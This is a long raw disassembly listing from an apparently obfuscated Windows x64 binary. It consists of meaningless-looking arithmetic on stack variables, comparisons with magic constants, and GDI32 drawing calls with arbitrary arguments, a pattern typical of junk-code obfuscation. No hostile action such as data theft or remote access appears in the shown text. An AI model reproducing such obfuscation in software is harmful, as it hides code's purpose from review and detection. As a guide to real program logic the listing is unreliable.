mov edx, eax
movzx eax, word [rbp + 0x32a]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
nop
mov eax, dword [rbp + 0x2764]
cmp eax, 0x19f5bac2
jne 0x14000c996
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
cwde
mov ecx, edx
sub ecx, eax
movzx eax, word [rbp + 0x27fe]
movsx edx, ax
movzx eax, word [rbp + 0x3e7e]
cwde
add eax, edx
cmp ecx, eax
jg 0x14000c91e
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx ecx, ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx r9d, ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx r8d, ax
movzx eax, word [rbp + 0x36a6]
movzx edx, ax
movzx eax, word [rbp + 0x36a6]
movzx eax, ax
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.140003adb
jmp 0x14000ca9e
mov rax, qword [rbp + 0x9d0]
lea rdx, [rbp + 0x41b0]
mov r9, rdx
mov r8d, 0xf9
mov edx, 0x51
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_OffsetWindowOrgEx]
call rax
mov dword [rbp + 0x1514c], eax
mov rax, qword [rbp + 0x4148]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x15700]
movzx edx, word [rax]
mov rax, qword [rbp + 0x4148]
and edx, ecx
mov word [rax], dx
mov rcx, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x3c18]
mov edx, dword [rax]
mov rax, qword [rbp + 0x15778]
mov rax, qword [rax]
mov r8, rcx
mov rcx, rax
call fcn.140003bbd
jmp 0x14000ca9e
movzx edx, byte [rbp + 0x1286]
movzx eax, byte [rbp + 0x50c4]
or eax, edx
movzx edx, al
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
movzx r8d, al
movzx eax, byte [rbp + 0x221a]
movzx eax, al
mov ecx, eax
shl r8d, cl
mov eax, r8d
cmp edx, eax
jl 0x14000ca9d
mov rax, qword [0x1400dd318]
test rax, rax
je 0x14000c9f1
movabs rdx, 0xfb194989576525c
cmp rax, rdx
je 0x14000ca42
jmp 0x14000ca75
mov rax, qword [rbp + 0x15778]
mov rax, qword [rax]
mov rdx, qword [rbp + 0x3d18]
mov ecx, edx
shr rax, cl
mov rdx, rax
mov rax, qword [rbp + 0x15778]
mov qword [rax], rdx
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x4f88]
xor rdx, rax
mov rax, qword [rbp + 0x15650]
mov qword [rax], rdx
lea rax, [0x1400dd314]
mov qword [rbp + 0x1618], rax
jmp 0x14000ca75
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x50c8]
sub edx, eax
mov dword [rbp + 0x4318], edx
movzx eax, byte [rbp + 0x3507]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
sub edx, eax
mov rax, qword [rbp + 0x1538]
mov byte [rax], dl
nop
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x5dc]
and eax, edx
mov word [rbp + 0x129e], ax
movzx eax, word [rbp + 0x1316]
mov word [rbp + 0x122], ax
nop
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
cwde
lea ecx, [rdx + rax]
movzx eax, word [rbp + 0x1316]
movsx edx, ax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
cwde
add eax, edx
cmp ecx, eax
jg 0x14000cc38
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
movsx eax, al
test eax, eax
jne 0x14000cc11
movzx eax, byte [rbp + 0x50c4]
movzx edx, al
movzx eax, byte [rbp + 0x1286]
movzx eax, al
lea ecx, [rdx + rax]
movzx eax, byte [rbp + 0x221a]
movzx edx, al
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
movzx eax, al
add eax, edx
cmp ecx, eax
jge 0x14000cb6a
mov rax, qword [rbp + 0x150f0]
mov r9d, 0x17
mov r8d, 0x4c
mov edx, 0xd5
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_FloodFill]
call rax
mov dword [rbp + 0x150fc], eax
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x12c8]
sub edx, ecx
mov byte [rax], dl
movzx eax, byte [rbp + 0x1286]
movzx eax, al
test eax, eax
jne 0x14000cbe4
mov rax, qword [rbp + 0x4148]
movzx edx, word [rax]
mov rax, qword [rbp + 0x9f0]
movzx ecx, word [rax]
mov rax, qword [rbp + 0x4148]
sub edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x1618]
mov eax, dword [rax]
mov dword [rbp + 0xcb4], eax
mov rax, qword [rbp + 0x27d0]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0xe28]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x15120]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x156a0]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x3d18], rdx
jmp 0x14000cc05
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x3ce8]
mov rax, qword [rax]
mov ecx, eax
shl rdx, cl
mov rax, rdx
mov qword [rbp + 0x45b0], rax
nop
mov dword [rbp + 0x1579c], 0xd5c9
jmp 0x14000cc38
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
cwde
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
nop
mov dword [rbp + 0x15788], 0x7b87
mov rdx, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x3d18]
mov rcx, rdx
xor rcx, rax
mov rax, qword [rbp + 0x15778]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x44f8]
or rax, rdx
cmp rcx, rax
je 0x14000cfe8
mov rax, qword [rbp + 0x15778]
mov rax, qword [rax]
movabs rdx, 0x517c461178866a6e
cmp rax, rdx
je 0x14000cd39
movabs rdx, 0xa21984ecd01672d3
cmp rax, rdx
jne 0x14000cfe8
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
and eax, edx
mov byte [rbp + 0x1286], al
lea rdx, [rbp + 0x1538]
mov rax, qword [rbp + 0x150e8]
mov r9, rdx
mov r8d, 0xc5
lea rdx, str.returnable_contextual_cent
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetTextExtentPointW]
call rax
mov dword [rbp + 0x15114], eax
movzx eax, word [rbp + 0x36a6]
movzx ecx, ax
mov rax, qword [rbp + 0x15740]
movzx eax, word [rax]
movzx r9d, ax
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
movzx r8d, ax
movzx eax, word [rbp + 0x129e]
movzx edx, ax
mov rax, qword [rbp + 0x15740]
movzx eax, word [rax]
movzx eax, ax
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.140003adb
jmp 0x14000cd54
movzx edx, word [rbp + 0x152c]
movzx ecx, word [rbp + 0x36a6]
mov rax, qword [rbp + 0x9f0]
sub edx, ecx
mov word [rax], dx
nop
jmp 0x14000cfe8
movzx eax, word [rbp + 0x3e7e]
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
add eax, edx
mov word [rbp + 0x122], ax
mov rax, qword [rbp + 0x15738]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x24aa]
and eax, edx
mov byte [rbp + 0x3507], al
mov rax, qword [rbp + 0x15660]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x2728]
mov rax, qword [0x1400e1038]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x15650]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x156f8]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x15650]
mov qword [rax], rdx
mov edx, dword [rbp + 0x2728]
mov eax, dword [rbp + 0x2764]
add edx, eax
mov rax, qword [rbp + 0x15660]
mov dword [rax], edx
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x50c8]
add eax, edx
mov dword [rbp + 0x204], eax
movzx edx, byte [rbp + 0x1286]
movzx eax, byte [rbp + 0x221a]
add eax, edx
mov byte [rbp + 0x50c4], al
movzx ecx, word [rbp + 0x5dc]
movzx edx, word [rbp + 0x129e]
mov rax, qword [rbp + 0x4148]
xor edx, ecx
mov word [rax], dx
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
movsx edx, ax
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
mov word [rbp + 0x32a], ax
movzx eax, byte [rbp + 0x221a]
movzx edx, al
movzx eax, byte [rbp + 0x1286]
movzx eax, al
mov ecx, eax
sar edx, cl
mov eax, edx
mov byte [rbp + 0x50c4], al
mov rax, qword [rbp + 0x15738]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x9b8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x3230]
or edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3424]
and eax, edx
mov dword [0x1400dd310], eax
mov rax, qword [rbp + 0x15650]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x3ce8]
mov rax, qword [rax]
add rdx, rax
mov rax, qword [rbp + 0x156f8]
mov qword [rax], rdx
mov rdx, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x156a0]
mov rax, qword [rax]
sub rdx, rax
mov qword [rbp + 0x3d18], rdx
mov rax, qword [rbp + 0x4830]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1524]
mov rax, qword [rbp + 0x1618]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x46b0]
movzx ecx, word [rax]
movzx edx, word [rbp + 0x1316]
mov rax, qword [rbp + 0x6c0]
and edx, ecx
mov word [rax], dx
add dword [rbp + 0x1579c], 0xec
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15720]
movzx ecx, byte [rax]
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x50c4], al
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x24aa]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3507], al
movzx edx, word [rbp + 0x152c]
movzx eax, word [rbp + 0x27cc]
add eax, edx
mov word [rbp + 0x36a6], ax
mov ecx, dword [0x1400dd314]
mov edx, dword [rbp + 0x2728]
mov rax, qword [0x1400e1038]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15778]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x33b8]
xor rax, rdx
mov qword [rbp + 0x3d18], rax
mov rax, qword [rbp + 0x156b0]
mov edx, dword [rax]
mov rax, qword [rbp + 0xe28]
mov eax, dword [rax]
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x156b0]
mov dword [rax], edx
cmp dword [rbp + 0x1579c], 0xfc81
jne 0x14000cd59
lea rax, [rbp + 0x4f88]
mov qword [rbp + 0x150e0], rax
jmp 0x14000d204
mov rax, qword [rbp + 0x15660]
mov r8d, dword [rax]
mov rax, qword [rbp + 0x1618]
mov edx, dword [rax]
mov rax, qword [rbp + 0x3c18]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x9b8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x3507]
or eax, edx
mov byte [rbp + 0x24aa], al
movzx edx, byte [rbp + 0x50c4]
movzx eax, byte [rbp + 0x1286]
and edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
movzx eax, word [rbp + 0x32a]
mov edx, eax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x3507], al
mov ecx, dword [rbp + 0x2728]
mov edx, dword [rbp + 0x2764]
mov rax, qword [0x1400e1038]
sub ecx, edx
mov dword [rax], ecx
mov rax, qword [rbp + 0x27d0]
mov edx, dword [rax]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
add edx, eax
mov rax, qword [rbp + 0x156b0]
mov dword [rax], edx
mov edx, dword [rbp + 0x2728]
mov eax, dword [rbp + 0x1524]
add eax, edx
mov dword [rbp + 0xcb4], eax
mov rax, qword [rbp + 0x3ce8]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x3ce8]
and rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x156a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x15778]
mov rax, qword [rax]
add rax, rdx
mov qword [rbp + 0x3d18], rax
mov rax, qword [rbp + 0x15140]
movzx edx, byte [rax]
mov rax, qword [rbp + 0xa70]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x12c8]
sub edx, ecx
mov byte [rax], dl
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x9b8]
mov byte [rax], dl
movzx eax, byte [rbp + 0x1286]
movzx edx, al
mov rax, qword [rbp + 0x15720]
movzx eax, byte [rax]
movzx eax, al
mov ecx, eax
sar edx, cl
mov rax, qword [rbp + 0x12c8]
mov byte [rax], dl
sub dword [rbp + 0x15728], 0x56
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x5dc]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x44f0]
mov word [rax], dx
mov ecx, dword [rbp + 0x2728]
mov edx, dword [rbp + 0xcb4]
mov rax, qword [0x1400e1038]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x27d0]
mov edx, dword [rax]
mov eax, dword [rbp + 0x194]
xor eax, edx
mov dword [rbp + 0x50c8], eax
mov rax, qword [rbp + 0x4830]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov rax, qword [rbp + 0x1618]
and edx, ecx
mov dword [rax], edx
cmp dword [rbp + 0x15728], 0x95ad
ja 0x14000d00b
jmp 0x14000d509
mov rax, qword [rbp + 0x156a0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x44f8]
sub rdx, rax
mov rax, qword [rbp + 0x156a0]
mov qword [rax], rdx
mov rcx, qword [0x1400dd318]
mov rdx, qword [rbp + 0x4f88]
mov rax, qword [rbp + 0x3ce8]
sub rcx, rdx
mov qword [rax], rcx
mov rax, qword [rbp + 0x6c0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x4dfc]
sub edx, eax
mov rax, qword [rbp + 0x46b0]
mov word [rax], dx
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add edx, eax
mov rax, qword [rbp + 0x9b8]
mov byte [rax], dl
movzx edx, byte [rbp + 0x50c4]
movzx eax, byte [rbp + 0x1286]
add edx, eax
mov rax, qword [rbp + 0x15140]
mov byte [rax], dl
mov rax, qword [rbp + 0x15740]
movzx eax, word [rax]
movzx ecx, word [rbp + 0x5dc]
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15740]
mov word [rax], dx
mov rax, qword [rbp + 0x1618]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x1524]
mov rax, qword [0x1400e1038]
and edx, ecx
mov dword [rax], edx
sub dword [rbp + 0x15760], 0xd8
mov rcx, qword [rbp + 0x44f8]
mov rdx, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x26b8]
add rdx, rcx
mov qword [rax], rdx
mov rax, qword [rbp + 0x15650]
mov rcx, qword [rax]
mov rdx, qword [rbp + 0x45b0]
mov rax, qword [rbp + 0x3ce8]
or rdx, rcx
mov qword [rax], rdx
mov r8d, dword [rbp + 0x2728]
mov edx, dword [rbp + 0x1524]
mov rax, qword [rbp + 0x1618]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov edx, dword [rbp + 0x3424]
mov rax, qword [rbp + 0x2f40]
mov eax, dword [rax]
mov ecx, eax
sar edx, cl
mov eax, edx
mov dword [rbp + 0x2080], eax
movzx edx, byte [rbp + 0x50c4]
movzx eax, byte [rbp + 0x221a]
xor edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov edx, eax
mov rax, qword [rbp + 0x15738]
mov byte [rax], dl
mov rax, qword [rbp + 0x46b0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x10dc]
and edx, eax
mov rax, qword [rbp + 0x15690]
mov word [rax], dx
mov rax, qword [rbp + 0x44f0]
movzx edx, word [rax]
movzx eax, word [rbp + 0x152c]
add edx, eax
mov rax, qword [rbp + 0x15740]
mov word [rax], dx
mov edx, dword [rbp + 0x2764]
mov eax, dword [rbp + 0x2728]
sub edx, eax
mov dword [0x1400dd314], edx
mov rax, qword [rbp + 0x150e0]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
add rax, rdx
mov qword [rbp + 0x45b0], rax
mov rax, qword [rbp + 0x3c18]
mov ecx, dword [rax]
mov edx, dword [rbp + 0x2728]
mov rax, qword [rbp + 0x1618]
add edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15778]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x33b8]
add rdx, rax
mov rax, qword [rbp + 0x156a0]
mov qword [rax], rdx
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x27d0]
mov eax, dword [rax]
sub edx, eax
mov rax, qword [rbp + 0x156b0]
mov dword [rax], edx
mov rax, qword [rbp + 0x1538]
movzx eax, byte [rax]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
add eax, edx
mov byte [rbp + 0x24aa], al
mov rax, qword [rbp + 0x12c8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1286]
and edx, eax
mov rax, qword [rbp + 0x156e8]
mov byte [rax], dl
mov rax, qword [rbp + 0x44f0]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x36a6]
movzx eax, ax
mov ecx, eax
sar edx, cl
mov eax, edx
mov word [rbp + 0x27cc], ax
mov rax, qword [rbp + 0x15700]
movzx eax, word [rax]
movzx edx, ax
movzx eax, word [rbp + 0x27cc]
movzx eax, ax
mov ecx, eax
shl edx, cl
mov rax, qword [rbp + 0x9f0]
mov word [rax], dx
mov rax, qword [rbp + 0x4830]
mov ecx, dword [rax]
mov edx, dword [0x1400dd314]
mov rax, qword [0x1400e1038]
or edx, ecx
mov dword [rax], edx
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
xor eax, edx
mov dword [rbp + 0x2764], eax
cmp dword [rbp + 0x15760], 0x1466
ja 0x14000d219
mov rax, qword [rbp + 0x156b0]
mov edx, dword [rax]
mov eax, dword [0x1400dd310]
lea ecx, [rdx + rax]
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3424]
add eax, edx
cmp ecx, eax
jl 0x14000d703
mov rdx, qword [rbp + 0x44f8]
mov rax, qword [rbp + 0x3d18]
sub rdx, rax
mov rax, qword [rbp + 0x156a0]
mov rcx, qword [rax]
mov rax, qword [rbp + 0x33b8]
sub rcx, rax
cmp rcx, rdx
jae 0x14000d6b5
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
movzx eax, al
cmp eax, 0x8d
je 0x14000d592
cmp eax, 0xb2
je 0x14000d5e2
jmp 0x14000d6b5
lea rcx, [rbp + 0x4de0]
lea rdx, [rbp + 0x1286]
mov rax, qword [rbp + 0x150e8]
mov r9d, 0xd
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetPath]
call rax
mov dword [rbp + 0x2350], eax
mov rax, qword [rbp + 0x15650]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
add rax, rdx
mov qword [rbp + 0x4f88], rax
jmp 0x14000d6b5
mov rax, qword [0x1400e1038]
mov eax, dword [rax]
cmp eax, 0x527c421
je 0x14000d602
cmp eax, 0x579f0d1d
je 0x14000d695
jmp 0x14000d6b4
mov rax, qword [rbp + 0x2f40]
mov ecx, dword [rax]
mov rax, qword [rbp + 0x27d0]
mov edx, dword [rax]
mov rax, qword [rbp + 0xe28]
sub ecx, edx
mov dword [rax], ecx
lea rdx, [rbp + 0x1618]
mov rax, qword [rbp + 0x150e8]
mov r8d, 0xc7
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_Polyline]
call rax
mov dword [rbp + 0x15160], eax
mov rax, qword [rbp + 0x9f0]
movzx eax, word [rax]
movzx ecx, ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx r9d, ax
mov rax, qword [rbp + 0x15700]
movzx eax, word [rax]
movzx r8d, ax
mov rax, qword [rbp + 0x15700]
movzx eax, word [rax]
movzx edx, ax
mov rax, qword [rbp + 0x4148]
movzx eax, word [rax]
movzx eax, ax
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.140003adb
jmp 0x14000d6b4
mov rdx, qword [rbp + 0x44f8]
mov rax, qword [rbp + 0x26b8]
mov rax, qword [rax]
sub rdx, rax
mov rax, qword [rbp + 0x15120]
mov qword [rax], rdx
nop
nop
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov edx, eax
movzx eax, word [rbp + 0x27fe]
sub edx, eax
mov rax, qword [rbp + 0x6c0]
mov word [rax], dx
movzx eax, word [rbp + 0x27fe]
mov word [rbp + 0x2afe], ax
movzx eax, byte [rbp + 0x24aa]
mov edx, eax
movzx eax, byte [rbp + 0x3507]
mov ecx, eax
mov eax, edx
sub eax, ecx
mov byte [rbp + 0x1767], al
jmp 0x14000d86f
mov edx, dword [rbp + 0x2728]
mov eax, dword [rbp + 0xcb4]
mov ecx, edx
and ecx, eax
mov rax, qword [rbp + 0x15660]
mov edx, dword [rax]
mov eax, dword [rbp + 0x3b8]
add eax, edx
cmp ecx, eax
jae 0x14000d86f
movzx eax, word [rbp + 0x122]
movsx edx, ax
mov rax, qword [rbp + 0x15690]
movzx eax, word [rax]
cwde
mov ecx, eax
sar edx, cl
mov r8d, edx
movzx eax, word [rbp + 0x1316]
movsx edx, ax
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
cwde
mov ecx, eax
shl edx, cl
mov eax, edx
cmp r8d, eax
je 0x14000d7f7
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
movsx eax, al
cmp eax, 0x4c
je 0x14000d7db
cmp eax, 0x57
jne 0x14000d86f
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15700]
movzx eax, word [rax]
and eax, edx
mov word [rbp + 0x5dc], ax
mov rax, qword [rbp + 0x2c00]
mov dword [rsp + 0x20], 0xd6
mov r9d, 0x5b
mov r8d, 0x10
mov edx, 0xb2
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SetRectRgn]
call rax
mov dword [rbp + 0x150fc], eax
jmp 0x14000d86f
mov ecx, dword [rbp + 0x2728]
mov rax, qword [rbp + 0x1618]
mov edx, dword [rax]
mov rax, qword [0x1400e1038]
sub ecx, edx
mov dword [rax], ecx
jmp 0x14000d86f
mov rax, qword [rbp + 0x156e8]
movzx edx, byte [rax]
movzx eax, byte [rbp + 0x1286]
xor edx, eax
mov rax, qword [rbp + 0x15138]
movzx ecx, byte [rax]
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
or eax, ecx
cmp al, dl
jb 0x14000d86f
mov rax, qword [rbp + 0x2f40]
mov edx, dword [rax]
mov rax, qword [rbp + 0x156b0]
mov eax, dword [rax]
add eax, edx
mov dword [rbp + 0x194], eax
mov rax, qword [0x1400e1038]
mov ecx, dword [rax]
mov r9, qword [rbp + 0x33b8]
mov rax, qword [rbp + 0x15120]
mov r8, qword [rax]
mov edx, dword [rbp + 0x2080]
mov eax, dword [rbp + 0x2350]
mov dword [rsp + 0x20], ecx
mov ecx, eax
call fcn.1400033f0
mov rax, qword [rbp + 0x3c18]
mov edx, dword [rax]
mov eax, dword [rbp + 0x2764]
and eax, edx
mov dword [rbp + 0x2728], eax
movzx eax, byte [rbp + 0x3507]
movsx edx, al
movzx eax, byte [rbp + 0x1767]
movsx eax, al
mov ecx, edx
sub ecx, eax
movzx eax, byte [rbp + 0x24aa]
movsx edx, al
mov rax, qword [rbp + 0x3230]
movzx eax, byte [rax]
movsx eax, al
sub edx, eax
cmp ecx, edx
jge 0x14000d99a
mov rcx, qword [rbp + 0x4b10]
mov rdx, qword [rbp + 0x2018]
mov rax, qword [rbp + 0x9d0]
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_FillRgn]
call rax
mov dword [rbp + 0x150fc], eax
movzx edx, byte [rbp + 0x1767]
movzx eax, byte [rbp + 0x24aa]
xor eax, edx
movsx edx, al
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
movsx r8d, al
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
movsx eax, al
mov ecx, eax
shl r8d, cl
mov eax, r8d
cmp edx, eax
jl 0x14000d95f
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
mov edx, eax
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
add edx, eax
mov rax, qword [rbp + 0x3230]
mov byte [rax], dl
mov rax, qword [rbp + 0x156f8]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x2378]
and rax, rdx
mov qword [0x1400dd318], rax
mov rax, qword [rbp + 0xa70]
movzx edx, byte [rax]
mov rax, qword [rbp + 0x15140]
movzx eax, byte [rax]
sub edx, eax
mov rax, qword [rbp + 0x15720]
mov byte [rax], dl
movzx eax, word [rbp + 0x152c]
movzx edx, word [rbp + 0x36a6]
sub eax, edx
mov word [rbp + 0x27cc], ax
jmp 0x1400c7fe2
movzx eax, byte [rbp + 0x3507]
movsx edx, al
movzx eax, byte [rbp + 0x24aa]
movsx eax, al
lea ecx, [rdx + rax]
movzx eax, byte [rbp + 0x1767]
movsx edx, al
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
movsx eax, al
add eax, edx
cmp ecx, eax
jge 0x14000da87
mov rax, qword [rbp + 0x15740]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x129
jne 0x14000da54
mov r8d, dword [rbp + 0x3f1c]
mov rax, qword [rbp + 0x1618]
mov edx, dword [rax]
mov rax, qword [rbp + 0x4830]
mov ecx, edx
shl r8d, cl
mov edx, r8d
mov dword [rax], edx
mov rax, qword [rbp + 0x9d0]
mov edx, 0x33
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SetTextCharacterExtra]
call rax
mov dword [rbp + 0x1400], eax
mov rax, qword [rbp + 0x156b0]
mov eax, dword [rax]
mov dword [rbp + 0x1400], eax
mov rcx, qword [0x1400dd318]
mov rdx, qword [rbp + 0x2378]
mov rax, qword [rbp + 0x3ce8]
or rdx, rcx
mov qword [rax], rdx
jmp 0x1400c7f94
lea rdx, [rbp + 0x2018]
mov rax, qword [rbp + 0x150f0]
mov r9, rdx
mov r8d, 0xf7
mov edx, 0xca
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DrawEscape]
call rax
mov dword [rbp + 0x204], eax
jmp 0x1400c7f94
movzx eax, byte [rbp + 0x24aa]
movsx edx, al
mov rax, qword [rbp + 0x9b8]
movzx eax, byte [rax]
movsx eax, al
mov ecx, edx
sub ecx, eax
mov rax, qword [rbp + 0x15738]
movzx eax, byte [rax]
movsx edx, al
movzx eax, byte [rbp + 0x3507]
movsx eax, al
sub edx, eax
cmp ecx, edx
jg 0x1400c7f94
mov rax, qword [rbp + 0x15120]
mov rdx, qword [rax]
mov rax, qword [rbp + 0x156a0]
mov rax, qword [rax]
mov ecx, eax
shr rdx, cl
mov rax, qword [rbp + 0x15778]
mov qword [rax], rdx
mov rax, qword [rbp + 0x46b0]
movzx eax, word [rax]
mov word [rbp + 0x3eb2], ax
mov rax, qword [rbp + 0x9f0]
movzx edx, word [rax]
mov rax, qword [rbp + 0x15700]
movzx eax, word [rax]
xor edx, eax
mov rax, qword [rbp + 0x15740]
movzx ecx, word [rax]
movzx eax, word [rbp + 0x36a6]
and eax, ecx
